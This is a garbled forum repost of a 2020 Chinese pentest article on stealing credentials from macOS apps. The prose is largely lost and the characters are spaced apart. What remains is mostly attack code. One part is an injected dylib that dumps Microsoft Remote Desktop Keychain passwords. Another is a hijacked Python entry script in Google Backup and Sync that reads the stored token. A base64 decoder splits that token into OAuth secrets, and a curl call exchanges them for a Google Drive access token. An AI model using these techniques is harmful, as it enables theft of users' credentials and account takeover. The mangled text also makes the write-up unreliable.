[15107] 2020-03-08_拿起Mac来渗透:恢复凭证

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-18
2020-03-08_拿起Mac来渗透:恢复凭证 M a c   F r e e B u f   2 0 2 0 - 0 3 - 0 8 W i n d o w s M a c ( . j p g ) 访 M a c O S M i c r o s o f t G o o g l e M i c r o s o f t 使 R D P
使 g r e p   - i r   c o n t o s o . c o m P r e f e r e n c e s   / c o m . m i c r o s o f t . r d c . m a c . p l i s t p l i s t 使 p l u t i l   - c o n v e r t   x m l 1   P r e f e r e n c e s   / c o m . m i c r o s o f t . r d c . m a c . p l i s t p l i s t K e y c h a i n C r e d e n t i a l L o a d e r : : g e t P a s s w o r d F o r B o o k m a r k ( ) g e t P a s s w o r d ( ) g e t P a s s w o r d ( ) f i n d P a s s w o r d I t e m ( ) K e y c h a i n 使 S e c K e y c h a i n S e a r c h C r e a t e F r o m A t t r i b u t e s ( ) K e y c h a i n
R D P K e y c h a i n 使 K e y c h a i n   a c c e s s 访 访 M i c r o s o f t   R e m o t e   D e s k t o p . a p p 访 K e y c h a i n
K e y c h a i n M a c O S S I P h a r d e n e d r u n t i m e A p p l e A p p l e I D 使 c o d e s i g n   - d v v v   e n t i t l e m e n t s / A p p l i c a t i o n s / M i c r o s o f t   R e m o t e D e s k t o p . a p p / C o n t e n t s / M a c O S / M i c r o s o f t   R e m o t e   D e s k t o p , 使 - k n o w n   D Y L D _ I N S E R T _ L I B R A R I E S d y l i b K e y c h a i n D Y L D _ I N S E R T _ L I B R A R I E S K e y c h a i n # i m p o r t   " h i j a c k L i b . h " @ i m p l e m e n t a t i o n   h i j a c k L i b   : N S O b j e c t - ( v o i d ) d u m p K e y c h a i n   {         N S M u t a b l e D i c t i o n a r y   * q u e r y   =   [ N S M u t a b l e D i c t i o n a r y   d i c t i o n a r y W i t h O b j e c t s A n d K e y s :         ( _ _ b r i d g e   i d ) k C F B o o l e a n T r u e ,   ( _ _ b r i d g e   i d ) k S e c R e t u r n A t t r i b u t e s ,         ( _ _ b r i d g e   i d ) k C F B o o l e a n T r u e ,   ( _ _ b r i d g e   i d ) k S e c R e t u r n R e f ,         ( _ _ b r i d g e   i d ) k C F B o o l e a n T r u e ,   ( _ _ b r i d g e   i d ) k S e c R e t u r n D a t a ,         @ " d c . c o n t o s o . c o m " ,   ( _ _ b r i d g e   i d ) k S e c A t t r L a b e l ,         ( _ _ b r i d g e   i d ) k S e c C l a s s I n t e r n e t P a s s w o r d , ( _ _ b r i d g e   i d ) k S e c C l a s s ,         n i l ] ;         N S D i c t i o n a r y   * k e y c h a i n I t e m   =   n i l ;         O S S t a t u s   s t a t u s   =   S e c I t e m C o p y M a t c h i n g ( ( _ _ b r i d g e   C F D i c t i o n a r y R e f ) q u e r y ,   ( v o i d   * ) & k e y c h a i n I t e m ) ;         i f ( s t a t u s   ! =   n o E r r )         {                 r e t u r n ;         }         N S D a t a *   p a s s w o r d D a t a   =   [ k e y c h a i n I t e m   o b j e c t F o r K e y : ( i d ) k S e c V a l u e D a t a ] ;         N S S t r i n g   *   p a s s w o r d   =   [ [ N S S t r i n g   a l l o c ]   i n i t W i t h D a t a : p a s s w o r d D a t a   e n c o d i n g : N S U T F 8 S t r i n g E n c o d i n g ] ;         N S L o g ( @ " % @ " ,   p a s s w o r d ) ; } @ e n d v o i d   r u n P O C ( v o i d )   {         [ [ h i j a c k L i b   a l l o c ]   d u m p K e y c h a i n ] ; } _ _ a t t r i b u t e _ _ ( ( c o n s t r u c t o r ) ) s t a t i c   v o i d   c u s t o m C o n s t r u c t o r ( i n t   a r g c ,   c o n s t   c h a r   * * a r g v )   {         r u n P O C ( ) ;         e x i t ( 0 ) ; }
G o o g l e G o o g l e 使 h a r d e n e d   r u n t i m e A p p l e h a r d e n e d   r u n t i m e S I P D L L · A d a m   C h e s t e r h a r d e n e d   r u n t i m e 使 D Y L D _ I N S E R T _ L I B R A R I E S P l u g i n s 使 线 G o o g l e I n f o . p l i s t /   A p p l i c a t i o n s   /   B a c k u p S y n c . a p p / C o n t e n t s / M a c O S P y t h o n G o o g l e   D r i v e p y t h o n 使 p y 2 a p p p y t h o n . / R e s o u r c e s / m a i n . p y S I P / t m p 使 / t m p m a i n . p y P y t h o n $   c o d e s i g n   - d v v v   - - e n t i t l e m e n t s   : -   ' / A p p l i c a t i o n s / / B a c k u p   a n d   S y n c . a p p / C o n t e n t s / M a c O S / B a c k u p   a n d   S y n c ' E x e c u t a b l e = / A p p l i c a t i o n s / B a c k u p   a n d   S y n c . a p p / C o n t e n t s / M a c O S / B a c k u p   a n d   S y n c I d e n t i f i e r = c o m . g o o g l e . G o o g l e D r i v e F o r m a t = a p p   b u n d l e   w i t h   M a c h - O   t h i n   ( x 8 6 _ 6 4 ) C o d e D i r e c t o r y   v = 2 0 5 0 0   s i z e = 5 4 6   f l a g s = 0 x 1 0 0 0 0 ( r u n t i m e )   h a s h e s = 8 + 5   l o c a t i o n = e m b e d d e d < k e y > P y R u n t i m e L o c a t i o n s < / k e y >         < a r r a y > < s t r i n g > @ e x e c u t a b l e _ p a t h / . . / F r a m e w o r k s / P y t h o n . f r a m e w o r k / V e r s i o n s / 2 . 7 / P y t h o n < / s t r i n g >         < / a r r a y > - r w x r - x r - x @     1   d m c     s t a f f     4 9 6 9 6   2 3   D e c   0 4 : 0 0   B a c k u p   a n d   S y n c - r w x r - x r - x @     1   d m c     s t a f f     2 7 8 0 8   2 3   D e c   0 4 : 0 0   p y t h o n f r o m   o s x   i m p o r t   r u n _ g o o g l e d r i v e i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :     r u n _ g o o g l e d r i v e . M a i n ( ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :     p r i n t ( ' h e l l o   h a c k e r s ' )     r u n _ g o o g l e d r i v e . M a i n ( )
p y t h o n   S u r r o g a t e K e y c h a i n 访 便 G o o g l e 访 使 P y t h o n . / R e s o u r c e s / l i b / p y t h o n 2 . 7 / s i t e - p a c k a g e s . z i p s i t e - p a c k a g e s   k e y c h a i n o s x   /   s t o r a g e   /   k e y c h a i n . p y o o s x   /   s t o r a g e   / s y s t e m _ s t o r a g e . p y o s y s t e m _ s t o r a g e . p y o k e y c h a i n . p y o k e y c h a i n _ e x t . s o P y t h o n 访 访 K e y c h a i n s y s t e m _ s t o r a g e . p y o m a i n . p y K e y c h a i n / t / B / C / R e s o u r c e s   $   / t m p / B a c k u p   a n d   S y n c . a p p / C o n t e n t s / M a c O S / B a c k u p   a n d   S y n c / t m p / B a c k u p   a n d   S y n c . a p p / C o n t e n t s / R e s o u r c e s / l i b / p y t h o n 2 . 7 / s i t e - p a c k a g e s . z i p / w x / _ c o r e . p y : 1 6 6 3 3 :   U s e r W a r n i n g :   w x P y t h o n / w x W i d g e t s   r e l e a s e   n u m b e r   m i s m a t c h h e l l o   h a c k e r s 2 0 2 0 - 0 2 - 2 1   0 9 : 1 1 : 3 6 . 4 8 1   B a c k u p   a n d   S y n c [ 8 9 2 3 9 : 2 1 8 9 2 6 0 ]   G s y n c A p p D e l e t e g a t e . p y   :   F i n d e r   d e b u g   l e v e l   l o g s   :   F a l s e 2 0 2 0 - 0 2 - 2 1   0 9 : 1 1 : 3 6 . 6 5 2   B a c k u p   a n d   S y n c [ 8 9 2 3 9 : 2 1 8 9 2 6 0 ]   M a i n   b u n d l e   p a t h   d u r i n g   l a u n c h :   / t m p / B a c k u p   a n d   S y n c . a p p f r o m   o s x . s t o r a g e   i m p o r t   k e y c h a i n L O G G E R   =   l o g g i n g . g e t L o g g e r ( ' s e c u r e _ s t o r a g e ' ) c l a s s   S y s t e m S t o r a g e ( o b j e c t ) :         d e f   _ _ i n i t _ _ ( s e l f ,   s y s t e m _ s t o r a g e _ a c c e s s = N o n e ) :                 p a s s         d e f   S t o r e V a l u e ( s e l f ,   c a t e g o r y ,   k e y ,   v a l u e ) :                 k e y c h a i n . S t o r e V a l u e ( s e l f . _ G e t N a m e ( c a t e g o r y ,   k e y ) ,   v a l u e )         d e f   G e t V a l u e ( s e l f ,   c a t e g o r y ,   k e y ) :                 r e t u r n   k e y c h a i n . G e t V a l u e ( s e l f . _ G e t N a m e ( c a t e g o r y ,   k e y ) )         d e f   R e m o v e V a l u e ( s e l f ,   c a t e g o r y ,   k e y ) :                 k e y c h a i n . R e m o v e V a l u e ( s e l f . _ G e t N a m e ( c a t e g o r y ,   k e y ) )         d e f   _ G e t N a m e ( s e l f ,   c a t e g o r y ,   k e y ) :                 i f   c a t e g o r y :                         r e t u r n   ' % s   -   % s '   %   ( k e y ,   c a t e g o r y )                 r e t u r n   k e y f r o m   o s x   i m p o r t   r u n _ g o o g l e d r i v e f r o m   o s x . s t o r a g e   i m p o r t   k e y c h a i n i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :     p r i n t ( ' [ * ]   P o k i n g   y o u r   a p p s ' )     k e y   =   x x x x x x x x x @ g m a i l . c o m "     v a l u e   =   ' % s '   %   ( k e y )     p r i n t ( k e y c h a i n . G e t V a l u e ( v a l u e ) )     # r u n _ g o o g l e d r i v e . M a i n ( )
b a s e 6 4 使 s e c u r e _ s t o r a g e . S e c u r e S t o r a g e T o k e n S t o r a g e T o k e n S t o r a g e 使 /   A U T H   /   o a u t h _ u t i l s . p y o L o a d O A u t h T o k e n o a u t h 2 _ t o k e . G o o g l e D r i v e O A u t h 2 T o k e n . F r o m B l o b K e y c h a i n B l o b c l i e n t _ i d c l i e n t _ s e c r e t b a s e 6 4 使 访 访 G o o g l e M a c O S K e y c h a i n A p p l e 访 d e f   F i n d T o k e n ( s e l f ,   a c c o u n t _ n a m e ,   c a t e g o r y = C a t e g o r i e s . D E F A U L T ) :         r e t u r n   s e l f . G e t V a l u e ( c a t e g o r y . v a l u e ,   a c c o u n t _ n a m e ) d e f   L o a d O A u t h T o k e n ( u s e r _ e m a i l ,   t o k e n _ s t o r a g e _ i n s t a n c e ,   h t t p _ c l i e n t ) :         i f   u s e r _ e m a i l   i s   N o n e :                 r e t u r n         e l s e :                 t r y :                         t o k e n _ b l o b   =   t o k e n _ s t o r a g e _ i n s t a n c e . F i n d T o k e n ( u s e r _ e m a i l )                         i f   t o k e n _ b l o b   i s   n o t   N o n e :                                 r e t u r n   o a u t h 2 _ t o k e n . G o o g l e D r i v e O A u t h 2 T o k e n . F r o m B l o b ( h t t p _ c l i e n t ,   t o k e n _ b l o b ) @ s t a t i c m e t h o d d e f   F r o m B l o b ( h t t p _ c l i e n t ,   b l o b ) :         i f   n o t   b l o b . s t a r t s w i t h ( G o o g l e D r i v e O A u t h 2 T o k e n . _ B L O B _ P R E F I X ) :                 r a i s e   O A u t h 2 B l o b P a r s e E r r o r ( ' W r o n g   p r e f i x   f o r   b l o b   % s '   %   b l o b )         p a r t s   =   b l o b [ l e n ( G o o g l e D r i v e O A u t h 2 T o k e n . _ B L O B _ P R E F I X ) : ] . s p l i t ( ' | ' )         i f   l e n ( p a r t s )   ! =   4 :                 r a i s e   O A u t h 2 B l o b P a r s e E r r o r ( ' W r o n g   p a r t s   c o u n t   b l o b   % s '   %   b l o b )         r e f r e s h _ t o k e n ,   c l i e n t _ i d ,   c l i e n t _ s e c r e t ,   s c o p e _ b l o b   =   ( b a s e 6 4 . b 6 4 d e c o d e ( s )   f o r   s   i n   p a r t s ) i m p o r t   b a s e 6 4 _ B L O B _ P R E F I X   =   ' 2 G ' b l o b   =   2 G X X X X X X X X X X X X X | Y Y Y Y Y Y Y Y Y Y Y Y Y Y | Z Z Z Z Z Z Z Z Z Z Z | A A A A A A A A A A = ' p a r t s   =   b l o b [ l e n ( _ B L O B _ P R E F I X ) : ] . s p l i t ( ' | ' ) r e f r e s h _ t o k e n ,   c l i e n t _ i d ,   c l i e n t _ s e c r e t ,   s c o p e _ b l o b   =   ( b a s e 6 4 . b 6 4 d e c o d e ( s )   f o r   s   i n   p a r t s ) p r i n t ( r e f r e s h _ t o k e n ) p r i n t ( c l i e n t _ i d ) p r i n t ( c l i e n t _ s e c r e t ) $   c u r l   h t t p s : / / w w w . g o o g l e a p i s . c o m / o a u t h 2 / v 4 / t o k e n                                                                           - d   c l i e n t _ i d = 1 1 1 1 1 1 1 1 1 1 1 . a p p s . g o o g l e u s e r c o n t e n t . c o m                                                                           - d   c l i e n t _ s e c r e t = X X X X X X X X X X X X X                                                                           - d   r e f r e s h _ t o k e n = 1 / Y Y Y Y Y Y Y Y Y Y Y Y Y '                                                                           - d   g r a n t _ t y p e = r e f r e s h _ t o k e n {     " a c c e s s _ t o k e n " :   x x x x x . a a a a a . b b b b b . c c c c c " ,     " e x p i r e s _ i n " :   3 5 9 9 ,     " s c o p e " :   " h t t p s : / / w w w . g o o g l e a p i s . c o m / a u t h / g o o g l e t a l k   h t t p s : / / w w w . g o o g l e a p i s . c o m / a u t h / d r i v e   h t t p s : / / w w w . g o o g l e a p i s . c o m / a u t h / p e o p l e a p i . r e a d o n l y   h t t p s : / / w w w . g o o g l e a p i s . c o m / a u t h / c o n t a c t s t o r e . r e a d o n l y " ,     " t o k e n _ t y p e " :   " B e a r e r " }
* m d s e c F B F r e e B u f . C O M

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则